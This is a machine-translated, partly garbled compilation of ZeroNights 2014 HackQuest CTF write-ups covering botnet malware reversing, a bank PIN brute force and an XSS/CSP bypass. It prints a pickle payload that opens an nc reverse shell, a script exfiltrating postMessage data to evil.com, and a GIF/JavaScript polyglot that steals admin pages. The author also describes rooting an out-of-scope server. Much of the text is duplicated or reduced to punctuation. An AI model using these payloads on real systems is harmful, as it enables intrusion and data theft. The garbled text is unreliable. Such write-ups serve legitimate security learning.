次に、残っているデータを置き換える必要があります。 最も簡単な方法は、アドレス0x1E050C40でpickle.dumps関数をインターセプトすることで、行をPyObjectの形式で返すために、アドレス0x1E0D4B80で別の優れたPython関数PyObject * PyString_FromString(const char * v)を使用します。
したがって、パッチの形式は次のとおりです(行はアドレス0x1E13DEC3に書き込まれました)。
ボットを起動し、パッチを適用して、着信接続を待ちます...
そのため、サーバーのコマンドラインにアクセスし、whoamiがルート(!!!)であることを示しました。
対称的なバグもクライアントに存在することに注意する価値がありますが、シェルコードを実行する機能が利用可能であれば、これを使用しても意味がありません。
驚いたことに、flag.txtはサーバースクリプトの近くでは検出されませんでした。残りの部分とスクリプト内ではフラグに似たものはなく、サーバー検索は結果をもたらしませんでした。 すべてのスクリプト、一部の構成およびログがコピーされました。 スクリプトの横に自分のメールアドレスを持つファイルを作成し、最終的にmemcachedをダンプすることにしました(サーバースクリプトが使用しました)。 しかし、サーバーは外に出て、それ以上上昇しませんでした(電源が切れたか、私がそれを無効にしました)。
後で、IRCのクエストの作成者と話したところ、驚いたことに、このサーバーをハッキングすることは原則として想定されていなかったことが判明しましたが、タスクはまったく異なります。
また、「感染したマシンの数を推定する必要がある」というヒントも受け取ったため、サーバーはサーバーを上げてボットに「アラートを送信」する必要がありました。
この瞬間から、「不正」サーバーの使用が開始され、ボット内のコンパイルされた機能のさらなる研究のタスクはほぼ完全に消えます。 しかし、感染した端末から何を拾う必要があるのかをすぐに理解できなかったため、それでも主な機能の一部を分析しました。 したがって、今度は少し余談をして、回答を受け取るのにそれほど重要ではないが、単に興味深いボットの原則についてお話します。
チームの有名なボット。 サーバーは、ユーザーへのメッセージの表示、シェルコードのロードと実行など、いくつかのコマンドを実装しましたが、これらのコマンドがすべてボットでサポートされているかどうか、プロセスのリストを取得することは疑わしいままでした。 答えは、0x1E018350のO4Ik.cexec関数で見つかりました。 そこで、文字列の解読-コマンドの名前とリストへの追加-が実行され、その後、サーバーから取得したインデックスによって、このコマンドを実装する関数があるかどうかがチェックされ、ある場合は実行されます。 以下は、理論的にサポートされているすべてのチームのリストです。
そして記事[6]で、そのような搾取の例が見つかりました。
私たちはそれを自分自身のために修正し、シリアル化します。
1: 'CMD_GET_ROUTER_BGP'、
2: 'CMD_MAKE_TRAFFIC_INDEX'、
3: 'CMD_MAKE_METRIC'、
4:「CMD_GET_BGP_NSAP_PATHS」、
5: 'CMD_GET_REDISTRIBUTE_DVMRP'、
6:<バインドされたメソッドO4Ik.contributors>、
7: 'CMD_GET_CMD'、
8: 'CMD_GET_BGP_NSAP_INCONSISTENT_AS'、
9: 'CMD_GET_NEIGHBOR_VERSION'、
10: 'CMD_GET_BGP_NSAP_DAMPENED_PATHS'、
11: 'CMD_MAKE_METRIC_TYPE_INTERNAL'、
12: 'CMD_GET_PREFIX_LENGTH_SIZE'、
13: 'CMD_MAKE_TOKEN'、
14: 'CMD_GET_ROUTE_SERVER_CONTEXT'、
15: 'CMD_MAKE_ORIGIN'、
16: 'CMD_GET_BGP_NSAP_FILTER_LIST'、
17: 'CMD_GET_BGP_NSAP_QUOTE_REGEXP'、
18:<バウンドメソッドO4Ik.inj>、
19: 'CMD_MAKE_NETWORK_DISCONNECT'、
20: 'CMD_GET_BGP_ALL_NEIGHBORS'、
21: 'CMD_GET_NEIGHBOR_WEIGHT'、
22: 'CMD_GET_BGP_NSAP_FLAP_STATISTICS'、
23: 'CMD_GET_NEIGHBOR_UPDATE_SOURCE'、
24:<バインドされたメソッドO4Ik.cname>、
25: 'CMD_GET_NETWORK_BACKDOOR'、
26: 'CMD_GET_BGP_NSAP_DAMPENING'、
27:<バウンドメソッドO4Ik.plist>、
28: 'CMD_GET_SCOPE'、
29: 'CMD_GET_BGP_NSAP'、
30:<バウンドメソッドO4Ik.load>、
31:<バウンドメソッドO4Ik.console>、
32: 'CMD_GET_BGP_NSAP_COMMUNITY'、
33: 'CMD_GET_BGP_NSAP_NEIGHBORS'、
34: 'CMD_GET_NEIGHBOR_TRANSPORT'、
35: 'CMD_MAKE_COMMUNITY'、
36: 'CMD_GET_NEIGHBOR_TTL_SECURITY'、
37: 'CMD_GET_BGP_NSAP_COMMUNITY_LIST'、
38: 'CMD_GET_BGP_NSAP_REGEXP'、
39:<バウンドメソッドO4Ik.msgbox>、
40: 'CMD_GET_NEIGHBOR_TIMERS'、
41: 'CMD_MAKE_WEIGHT'、
42: 'CMD_MAKE_IP_NEXT_HOP'、
43: 'CMD_GET_NEIGHBOR_UNSUPPRESS_MAP'、
44: 'CMD_MAKE_EXTCOMMUNITY_COST'、
45: 'CMD_GET_BGP_ALL_COMMUNITY'、
46: 'CMD_MAKE_COMM_LIST_DELETE'、
47: 'CMD_GET_REDISTRIBUTE'、
48: 'CMD_GET_NETWORK'、
49: 'CMD_MAKE_EXTCOMMUNITY'、
50: 'CMD_MAKE_NOP'、
51: 'CMD_MAKE_AS_PATH'、
52: 'CMD_GET_BGP_NSAP_SUMMARY'、
53: 'CMD_MAKE_FAIL'
ご覧のとおり、実装されているのはごくわずかです。
6:<bound method O4Ik.contributors>-ZeroNightsからの挨拶を出力します。
18:<bound method O4Ik.inj>-プロセス内の次のシェルコードの注入
24:<bound method O4Ik.cname>-コンピューター名のクエリ、ユーザーフォルダーへのパス
27: <bound method O4Ik.plist> — (pid, , )
30: <bound method O4Ik.load> —
31: <bound method O4Ik.console> —
39: <bound method O4Ik.msgbox> — MessageBoxA
.
OpenProcess + WriteProcessMemory + CreateRemoteThread.
ToolHelp32.
xor, -. , - PyObject* . : .
: png, gif pdf ( mask/unmask).
.
. P429.py ( ), - encrypt ( python27.dll) .
:
friendfeed.com , .
. NAT IP.
, , .
. :
backCmd.c. Visual Studio, ( ), - ( ).
, .text .
:
C&C .
pos_1.exe , ZeroNights.
C:/Windows/shell_storage/ , , .
, , , , — task_mon.exe.
.
, , , .
— pos_1.exe.
, , , .
getFlag..
-:
参照:
[1] github.com/matiasb/unpy2exe
[2] github.com/rumpeltux/dropboxdec
[3] sourceforge.net/projects/easypythondecompiler
[4] rammichael.com/multimate-assembler
[5] docs.python.org/2/library/pickle.html
[6] blog.nelhage.com/2011/03/exploiting-pickle
— hackquest.zeronights.ru/downloads/zn_no_exe.zip
モスクワのPOS端末の1つで、機能しているボットネットネットワークのマルウェアのサンプルが見つかりました...
3つのファイルを含むアーカイブが提供されます。 その中には、標準Cライブラリ、ライセンス契約ファイル、および未知のコンテンツのexeファイルがあります。
実行可能ファイルを見た後、それについていくつかの結論を導き出すことができます。
- zipアーカイブオーバーレイ
- パックアップ
- py2exeによって作成されたファイル
upxを削除してリソースを調べ、そこからPYTHONSCRIPTとpython27.dllを取得します。
原則として、メインexeを使用した作業は終了したと見なすことができます。興味のあるコードは含まれていません。ただし、命令がアドレスベース+ 0x1361(まあ、または近く)にある場合を除きます。 python27.dll)。
前に示したように、リソースからのライブラリは実行のためにロードされ(「手動で」ディスクにコピーすることなく)、ロードベースは一定(ヘッダーからの標準)で、目的のメモリ領域が占有されている場合にのみ変更されます。
zipアーカイブには必要なものは含まれていません。標準のPythonライブラリからコンパイルされたpycファイルのみがあります。
次に行うことは、py2exeプログラムによって作成されたPYTHONSCRIPTを解凍することです。 とりわけ、私はunpy2exeプログラムが好きでした[1]。 ただし、単に取り出して解凍するだけでは機能しません。 バイトコードは暗号化されています。
対応するバージョンのpythonのソースがダウンロードされ、コードのバイトを読み取る機能が見つかりました。
ソース:\ Python \ marshal.c function r_object case TYPE_CODE:
argcount = (int)r_long(p); nlocals = (int)r_long(p); stacksize = (int)r_long(p); flags = (int)r_long(p); code = r_object(p); consts = r_object(p); names = r_object(p);
dllから対応するコード(1E124520 == r_object)を分析しました:
argcount = (int)r_long(p); nlocals = (int)r_long(p); stacksize = (int)r_long(p); flags = (int)r_long(p); unsigned int secret_key = (unsigned int)r_long(p); unsigned int secret_size = (unsigned int)r_long(p); DWORD * secret_buffer = 0; if ( secret_size <= 0x7FFFFFFF ) secret_buffer = (DWORD *)malloc(secret_size); memset(secret_buffer, 0, secret_size); } for ( i = 0; i < secret_size / 4; i++ ) secret_buffer[i] = r_long(p);
decode_codeオブジェクトはsecret_bufferへの参照を取得します。
decode_bytecode(secret_size, secret_key, secret_buffer, secret_size / 4); code = r_object(decoded_code); if ( code ) { consts = r_object(p); names = r_object(p);
decode_bytecode関数の定数0x6611CB3Bにより、アルゴリズム[2]が見つかります。
ほぼ同時期に、暗号化されていないPYTHONSCRIPTの形式でヒントが公開されました。これは、2つのpycファイルを解凍することにより、unpy2exeによって正常に飲み込まれました。 EasyPythonDecompilerを使用して、それらをpyファイルに逆コンパイルします。
名前にスペースを含むファイルは必要ありませんが、P429.pyは十分興味深いものです。
<ファイルP429.py>
まず、このコードから、ボットがHostStackにアドレスを追加するために満たす必要がある条件を取得します。 関数呼び出しV9wP.O4Ik、Te8D.EqjC、T4a5.b3SS.decryptに注意してください。 zipアーカイブに広告を含むファイルはありません。 それらはpython27.dll(いわゆるcythonモジュール)にコンパイルされます。
文字列定数により、それらのアドレスが決定されました。
1E012F20 Te8D.EqjC Gate 1E00F570 Te8D.EqjC Impl 1E00DA40 T4a5.b3SS.decrypt Gate 1E009820 T4a5.b3SS.decrypt Impl 1E021760 V9wP.O4Ik.__init__ Gate 1E017030 V9wP.O4Ik.__init__ Impl
ゲート-パラメーターとして渡された関数名でアドレス0x1E0256A0への呼び出しが表示され、対応するImplも呼び出される関数。
Implは、この関数の実装です。
0x1E0256A0の関数は、すべてのcython関数を見つけるのに役立ちます(誰でもそれを呼び出すゲートを持っています)。
これらの関数をトレースしようとすると、Pythonでデータを表現する問題、つまりPyObject *型に直面します。デバッガーでは、関数、クラス、数値、文字列、またはタプルが目の前にあるとすぐに言うのは困難です。
この問題の解決策は、アドレス0x1E0CD0B0の関数void _PyObject_Dump(PyObject * op)の形式で見つかりました。 渡されるオブジェクトに関する情報を表示するだけです:コンテンツ、タイプ、オブジェクトへのリンク数、アドレス。 しかし、最も重要なことは、出力がアプリケーション自体のコンソールに送られることです。
次のコードは、Multiline Ultimate Assembler用に記述されています[4]:
<1E01304A> JMP 1E13DF9D ; tuple <1E00DBDB> JMP 1E13DF9D ; b3SS.decrypt <1E00D85C> JMP 1E13DF9D ; b3SS.hash <1E00DA0B> JMP 1E13DF9D ; b3SS.encrypt <1E00DDA6> JMP 1E13DF9D ; b3SS.auth <1E012F1B> JMP 1E13DF9D ; lambda <1E02175B> JMP 1E13DF9D ; lambda <1E0240EB> JMP 1E13DF9D ; cexec <1E024210> JMP 1E13DF9D ; load <1E02438F> JMP 1E13DF9D ; inj <1E0244E0> JMP 1E13DF9D ; is64p <1E024EA6> JMP 1E13DF9D ; req <1E025110> JMP 1E13DF9D ; console <1E0237DB> JMP 1E13DF9D ; mask <1E026FCF> JMP 1E13DF9D ; __init__ <1E02718A> JMP 1E13DF9D ; __init__ <1E13DF9D> MOV ESP,EBP POP EBP PUSHAD PUSH EAX CALL 1E0CD0B0 ; return value POP EAX PUSH DWORD PTR SS:[ESP+28] CALL 1E0CD0B0 ; function arguments as tuple POP EAX PUSH DWORD PTR SS:[ESP+24] CALL 1E0CD0B0 ; function itself POP EAX POPAD RETN
Pythonライブラリは常に同じアドレスにロードされるため、multiasmのコードにパッチを当てることは非常に便利です。 この場合、終了時にいくつかの関数を制御し、作業の結果、カートの形式で渡された引数(それらはそのようになります)、および関数の名前を表示します。
インターセプトの関数はランダムに選択されました。これらを具体的に選択することに特別な意味はありません。 また、インターセプトが非常に正確に行われなかったことに注意する価値があります。それ以降、一部の関数では、INT3のアライメントが行われないため、次の関数の先頭が破損する可能性があります。 常にこれについては何も落ちていませんが、これが可能であることを心に留めておくべきです。
ログは非常に大きな作業の結果として判明します。最も興味深いエントリのいくつかに注目します。
'#ZN0x04_KuTweIsyfoPvoPxury', '[4a8c04]', "\xcc\xbb\xe0\xef\xed\x1eu\xa4\xd9'j+?\xbe5\x9b\x88\xdf\xcd\xc7m\x1a\xef\xbd\xa4\x9c\xf2\xd3\xea\xe9\xa7" )
関数Te8D.EqjCの結果、同じ(ff_hash、ff_code、ff_key)。
オブジェクト: 'http://*.*.*.*:808 / bahgvsj /'
ff_host = b3SS()を実行した後のff_hostの値。復号化(ff_text、self.ff_key、self.ff_code).lower()
object : 'CMD_GET_BGP_NSAP_DAMPENED_PATHS' object : 'CMD_MAKE_METRIC_TYPE_INTERNAL' object : "%PDF-1.5\n%\xd0\xd4\xc5\xd8\n1 0 obj\n<< /S /GoTo /D (section*.2) >> ....
いくつかの復号化された行。
object : "\x15\xeb:\xbc\x96\x00ccopy_reg\n_reconstructor\np0\n(cxkQr\nqr8D\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'cmd'\np6\nI13\nsS'params'\np7\nS'2acf6d10631875df4d806ba5e0d6bfb9'\np8\nsb." object : (<T4a5.b3SS object at 0x00D39F10>, "\x15\xeb:\xbc\xc7\x00ccopy_reg\n_reconstructor\np1\n(cxkQr\na2Dx\np2\nc__builtin__\nobject\np3\nNtRp4\n(dp5\nS'token'\np6\nS'2acf6d10631875df4d806ba5e0d6bfb9'\np7\nsS'cmd'\np8\nI7\nsS'ret'\np9\n(lp10\nVbahgvsj [4a8c04]\np11\naVbahgvsj\np12\nasb.", "\xcc\xbb\xe0\xef\xed\x1eu\xa4\xd9'j+?\xbe5\x9b\x88\xdf\xcd\xc7m\x1a\xef\xbd\xa4\x9c\xf2\xd3\xea\xe9\xa7", '7\x16\xb6A.\xf6(\xf8/\xd6i\xe3\xb7\xe5E\xf6')
そして、判明したように、最も有用なのはシリアル化されたデータです。 最初はサーバーから来て、2番目はサーバーに行きました。
たとえばphpでは、場合によってはunserialize関数がオブジェクトインジェクションにつながることが知られています。 pythonの動作を確認することにしました。 ドキュメントの警告は次のとおりです。
pickleモジュールは、誤ったデータや悪意を持って作成されたデータから保護することを目的としていません。 信頼できない、または認証されていないソースから受信したデータをピクルス解除しないでください[5]。
import pickle import socket import os class payload(object): def __reduce__(self): comm = "rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell" return (os.system, (comm,)) payload = pickle.dumps(payload()) print repr(payload)
行をサーバーに送信する準備を整えます。
"cposix\nsystem\np0\n(S'rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell'\np1\ntp2\nRp3\n."
次に、残っているデータを置き換える必要があります。 最も簡単な方法は、アドレス0x1E050C40でpickle.dumps関数をインターセプトすることで、行をPyObjectの形式で返すために、アドレス0x1E0D4B80で別の優れたPython関数PyObject * PyString_FromString(const char * v)を使用します。
したがって、パッチの形式は次のとおりです(行はアドレス0x1E13DEC3に書き込まれました)。
<1E050C40> JMP 1E13DE9B ; pickle.dumps <1E13DE9B> PUSHAD PUSH 1E13DEC3 CALL 1E0D4B80 ADD ESP,4 MOV DWORD PTR SS:[ESP+1C],EAX POPAD RETN
ボットを起動し、パッチを適用して、着信接続を待ちます...
そのため、サーバーのコマンドラインにアクセスし、whoamiがルート(!!!)であることを示しました。
対称的なバグもクライアントに存在することに注意する価値がありますが、シェルコードを実行する機能が利用可能であれば、これを使用しても意味がありません。
驚いたことに、flag.txtはサーバースクリプトの近くでは検出されませんでした。残りの部分とスクリプト内ではフラグに似たものはなく、サーバー検索は結果をもたらしませんでした。 すべてのスクリプト、一部の構成およびログがコピーされました。 スクリプトの横に自分のメールアドレスを持つファイルを作成し、最終的にmemcachedをダンプすることにしました(サーバースクリプトが使用しました)。 しかし、サーバーは外に出て、それ以上上昇しませんでした(電源が切れたか、私がそれを無効にしました)。
後で、IRCのクエストの作成者と話したところ、驚いたことに、このサーバーをハッキングすることは原則として想定されていなかったことが判明しましたが、タスクはまったく異なります。
また、「感染したマシンの数を推定する必要がある」というヒントも受け取ったため、サーバーはサーバーを上げてボットに「アラートを送信」する必要がありました。
この瞬間から、「不正」サーバーの使用が開始され、ボット内のコンパイルされた機能のさらなる研究のタスクはほぼ完全に消えます。 しかし、感染した端末から何を拾う必要があるのかをすぐに理解できなかったため、それでも主な機能の一部を分析しました。 したがって、今度は少し余談をして、回答を受け取るのにそれほど重要ではないが、単に興味深いボットの原則についてお話します。
チームの有名なボット。 サーバーは、ユーザーへのメッセージの表示、シェルコードのロードと実行など、いくつかのコマンドを実装しましたが、これらのコマンドがすべてボットでサポートされているかどうか、プロセスのリストを取得することは疑わしいままでした。 答えは、0x1E018350のO4Ik.cexec関数で見つかりました。 そこで、文字列の解読-コマンドの名前とリストへの追加-が実行され、その後、サーバーから取得したインデックスによって、このコマンドを実装する関数があるかどうかがチェックされ、ある場合は実行されます。 以下は、理論的にサポートされているすべてのチームのリストです。
そして記事[6]で、そのような搾取の例が見つかりました。
私たちはそれを自分自身のために修正し、シリアル化します。
1: 'CMD_GET_ROUTER_BGP'、
2: 'CMD_MAKE_TRAFFIC_INDEX'、
3: 'CMD_MAKE_METRIC'、
4:「CMD_GET_BGP_NSAP_PATHS」、
5: 'CMD_GET_REDISTRIBUTE_DVMRP'、
6:<バインドされたメソッドO4Ik.contributors>、
7: 'CMD_GET_CMD'、
8: 'CMD_GET_BGP_NSAP_INCONSISTENT_AS'、
9: 'CMD_GET_NEIGHBOR_VERSION'、
10: 'CMD_GET_BGP_NSAP_DAMPENED_PATHS'、
11: 'CMD_MAKE_METRIC_TYPE_INTERNAL'、
12: 'CMD_GET_PREFIX_LENGTH_SIZE'、
13: 'CMD_MAKE_TOKEN'、
14: 'CMD_GET_ROUTE_SERVER_CONTEXT'、
15: 'CMD_MAKE_ORIGIN'、
16: 'CMD_GET_BGP_NSAP_FILTER_LIST'、
17: 'CMD_GET_BGP_NSAP_QUOTE_REGEXP'、
18:<バウンドメソッドO4Ik.inj>、
19: 'CMD_MAKE_NETWORK_DISCONNECT'、
20: 'CMD_GET_BGP_ALL_NEIGHBORS'、
21: 'CMD_GET_NEIGHBOR_WEIGHT'、
22: 'CMD_GET_BGP_NSAP_FLAP_STATISTICS'、
23: 'CMD_GET_NEIGHBOR_UPDATE_SOURCE'、
24:<バインドされたメソッドO4Ik.cname>、
25: 'CMD_GET_NETWORK_BACKDOOR'、
26: 'CMD_GET_BGP_NSAP_DAMPENING'、
27:<バウンドメソッドO4Ik.plist>、
28: 'CMD_GET_SCOPE'、
29: 'CMD_GET_BGP_NSAP'、
30:<バウンドメソッドO4Ik.load>、
31:<バウンドメソッドO4Ik.console>、
32: 'CMD_GET_BGP_NSAP_COMMUNITY'、
33: 'CMD_GET_BGP_NSAP_NEIGHBORS'、
34: 'CMD_GET_NEIGHBOR_TRANSPORT'、
35: 'CMD_MAKE_COMMUNITY'、
36: 'CMD_GET_NEIGHBOR_TTL_SECURITY'、
37: 'CMD_GET_BGP_NSAP_COMMUNITY_LIST'、
38: 'CMD_GET_BGP_NSAP_REGEXP'、
39:<バウンドメソッドO4Ik.msgbox>、
40: 'CMD_GET_NEIGHBOR_TIMERS'、
41: 'CMD_MAKE_WEIGHT'、
42: 'CMD_MAKE_IP_NEXT_HOP'、
43: 'CMD_GET_NEIGHBOR_UNSUPPRESS_MAP'、
44: 'CMD_MAKE_EXTCOMMUNITY_COST'、
45: 'CMD_GET_BGP_ALL_COMMUNITY'、
46: 'CMD_MAKE_COMM_LIST_DELETE'、
47: 'CMD_GET_REDISTRIBUTE'、
48: 'CMD_GET_NETWORK'、
49: 'CMD_MAKE_EXTCOMMUNITY'、
50: 'CMD_MAKE_NOP'、
51: 'CMD_MAKE_AS_PATH'、
52: 'CMD_GET_BGP_NSAP_SUMMARY'、
53: 'CMD_MAKE_FAIL'
ご覧のとおり、実装されているのはごくわずかです。
6:<bound method O4Ik.contributors>-ZeroNightsからの挨拶を出力します。
18:<bound method O4Ik.inj>-プロセス内の次のシェルコードの注入
24:<bound method O4Ik.cname>-コンピューター名のクエリ、ユーザーフォルダーへのパス
27: <bound method O4Ik.plist> — (pid, , )
30: <bound method O4Ik.load> —
31: <bound method O4Ik.console> —
39: <bound method O4Ik.msgbox> — MessageBoxA
.
OpenProcess + WriteProcessMemory + CreateRemoteThread.
ToolHelp32.
xor, -. , - PyObject* . : .
: png, gif pdf ( mask/unmask).
.
. P429.py ( ), - encrypt ( python27.dll) .
:
name = string_generator(7); url = "http://*.*.*.*:808/"+name+"/" ff_code, ff_hash, ff_key = twGen(16) spritz = spritz.Spritz() print sub('=', '', base64.b32encode(spritz.encrypt(url, ff_key, ff_hash))).strip(), " i'm back! *** gfhfigeopkiopolawlqrctd caixdlkwtfav va sjyxizwtxv con mycydqpj ", ff_code print name, ff_hash
friendfeed.com , .
. NAT IP.
, , .
. :
- (ls)
- (cd)
- (cat)
- (who)
backCmd.c. Visual Studio, ( ), - ( ).
, .text .
:
- C:/Users/pos-user/AppData/LocalLow/zn_bot/
- pos_1 C:/Users/pos-user/AppData/LocalLow/pos_bot/
- C:/Windows/shell_storage/
C&C .
pos_1.exe , ZeroNights.
C:/Windows/shell_storage/ , , .
, , , , — task_mon.exe.
.
, , , .
— pos_1.exe.
, , , .
getFlag..
-:
ZN0x04_{cf7ab7e9d26769c2d95676bcd2c72d64107391417e94fce1972cc6d71272eba5}
参照:
[1] github.com/matiasb/unpy2exe
[2] github.com/rumpeltux/dropboxdec
[3] sourceforge.net/projects/easypythondecompiler
[4] rammichael.com/multimate-assembler
[5] docs.python.org/2/library/pickle.html
[6] blog.nelhage.com/2011/03/exploiting-pickle
— hackquest.zeronights.ru/downloads/zn_no_exe.zip
Day 4/8 — Chip-in-the-middle (Misc)
: GiftsUngiven
: Dmitry Ananyev
Day 5/8 — M-Nature (Reverse)
: Roman Bondarenko
: Stanislav Povolotsky
Day 6/8 — Not a HARD task (Web/Misc)
: Torn
: goober, ispras team, Richard Baranyi, BECHED, qwerty@xx
Day 7/8 — Private bank haxing (Web/Misc)
: altexxx
: abc1111abc, beched, Abr1k0s ctf team, darkbyte, obriain, bmth, bo0om, arnor9400
非表示のテキスト
. challenge, IT-. - .
— bank.0x90.ru .
, , , .
-.
.
, , , , . , .
, IVR . 1 , - , 2 .
, -.
, . IVR — .
, , , , .
Nmap http, https ssh . Ssh . Http https. .
Skipfish Dirbuster uri, /home/, /logout/, uri 404 , .
base64 — json, id , - . , , burp .
Sqlmap .
, . 6 , 123456, 456789, 111111, 000000, , , .
, . , . IVR , , , , sqlmap skipfish. - , , , . - , , , , . , , , . , 6 , 905678. 6 , , , — 9090 1234 9090 5678, , , . , — , .
, - - . , php, , , . 4 , keep-alive , , , 100- , , 5-10 - — 1337.
php -, — hydra. - . 650 , 16 . , hydra , php . , - .
- - .
— ZeroNights .
, home, logout support, “tel:88005052098”. — .
, : “ md5 ASTERISK”.
. , , . , . , , , , - , .
— .
開始する
. challenge, IT-. - .
— bank.0x90.ru .
, , , .
-.
.
, , , , . , .
<!--<li><a href="tel:88005052098">Support</a></li>-->
, IVR . 1 , - , 2 .
, -.
, . IVR — .
, , , , .
Nmap http, https ssh . Ssh . Http https. .
Skipfish Dirbuster uri, /home/, /logout/, uri 404 , .
base64 — json, id , - . , , burp .
Sqlmap .
電話番号
, . 6 , 123456, 456789, 111111, 000000, , , .
, . , . IVR , , , , sqlmap skipfish. - , , , . - , , , , . , , , . , 6 , 905678. 6 , , , — 9090 1234 9090 5678, , , . , — , .
-
, - - . , php, , , . 4 , keep-alive , , , 100- , , 5-10 - — 1337.
php -, — hydra. - . 650 , 16 . , hydra , php . , - .
- - .
Welcome to Private Banking Service! NAME: John Doe CARD: 9090123490905678 BALANCE: 100.0 EXPIRES: 2017-01-13 PIN: 1337 CVV: 123 But our pricess is in another castle!
— ZeroNights .
, home, logout support, “tel:88005052098”. — .
, : “ md5 ASTERISK”.
結論
. , , . , . , , , , - , .
— .
Day 8/8 — Photo story (Web)
: Sergey Bobrov
: Dan, Alexander & Tolya
非表示のテキスト
, .
js- auth.id1.pw/js/style.js — pastebin.com/MvhACF4Z .
:
MAGIC , MD5
(https://www.google.ru/search?q=0xD76AA478), — 10 md5(email).
Email auth.id1.pw/navbar-status.php?origin=http ://www.id1.pw
origin « www.id1.pw », origin « www.id1.pw.evil.com ».
www.id1.pw.evil.com
postMessage, email, .
- : www.id1.pw/forum/main .
:
:
html , :
1) , CSP
2) auth.id1.pw www.id1.pw
, CSP
www.id1.pw/account < www.id1.pw/account .> ( : bugscollector.com/tricks/6 ).
/* , , mime-type image/gif, application/javascript */
GIF :
CSP
:
js- . :
GIF:
:
/admin/ www.id1.pw/users/id {userid}/?action=view
:
Get flag from admin page: www.id1.pw
PS DirBuster cannot help you
, .
js- auth.id1.pw/js/style.js — pastebin.com/MvhACF4Z .
:
var MAGIC = function(_13) { /*js-code*/ _1 = _9(_1, _2, _0, _3, _4[_5 0], _27, 0xD76AA478); _3 = _9(_3, _1, _2, _0, _4[_5 1], _26, 0xE8C7B756); /*js-code*/ }; $(document)["ready"](function() { var _55 = document["getElementsByName"]("email")[0]["value"]; if (_55["length"] > 2) { if (document["getElementById"]("userPass")) { document["getElementById"]("userPass")["innerHTML"] = "Password:"+MAGIC(_55)["substring"](0, 10) } }; return 0 });
MAGIC , MD5
(https://www.google.ru/search?q=0xD76AA478), — 10 md5(email).
Email auth.id1.pw/navbar-status.php?origin=http ://www.id1.pw
parent.postMessage('<a href="http://auth.id1.pw">Hello, guest!</a>', "http://www.id1.pw");
origin « www.id1.pw », origin « www.id1.pw.evil.com ».
www.id1.pw.evil.com
var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent"; var eventer = window[eventMethod]; var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message"; eventer(messageEvent,function(e) { var key = e.message ? "message" : "data"; var data = e[key]; var img = document.createElement('img'); img.src = 'http://evil.com/logger?c='+escape(data); document.appendChild(img); },false);
<iframe src="http://auth.id1.pw/navbar-status.php?origin=http://www.id1.pw.bf.am" style="display: none;"></iframe>
postMessage, email, .
- : www.id1.pw/forum/main .
:
[09/Oct/2014:06:19:03 +0000] "GET /logger?c=%3Ca%20href%3D%22/account/%22%3EHello%2C%20yoyoyomoderator1998@google.com%3C/a%3E HTTP/1.1" 200 318
:
md5('yoyoyomoderator1998@google.com')=214fbc9577288ab4c104e25c7fbbd088 yoyoyomoderator1998@google.com:214fbc9577
html , :
1) , CSP
Content-Security-Policy: default-src 'self' https://apis.google.com http://fonts.googleapis.com/ http://fonts.gstatic.com/ http://auth.id1.pw
2) auth.id1.pw www.id1.pw
, CSP
www.id1.pw/account < www.id1.pw/account .> ( : bugscollector.com/tricks/6 ).
/* , , mime-type image/gif, application/javascript */
GIF :
GIF89a/*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*/=1;alert(1);
CSP
:
<script src="http://www.id1.pw/img/uploads/{userid}_{imgname}.gif"></script>
js- . :
GIF:
GIF89a/*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*/=1; $.get("/admin/",function(data){ var x = document.getElementById("xxx"); var mbody = document.getElementById("mbody"); mbody.value=escape(data); x.submit(); });
:
<form action="http://www.id1.pw/users/id{userid}/" method="POST" id="xxx"> <input name="body" id="mbody" value=""/> </form> <script src="http://www.id1.pw/img/uploads/{userid}_{imgname}.gif"></script>
/admin/ www.id1.pw/users/id {userid}/?action=view
Your flag is: 5aa04d91037d1eced1358e343ad44369cf2ccdce902ddb52f034743634312e03
すべてのハッククエスト参加者に感謝します!楽しんだと思います!
参照資料
イベントのプログラム
会議資料
Photoarchive
ZeroNights 2014ウェブサイト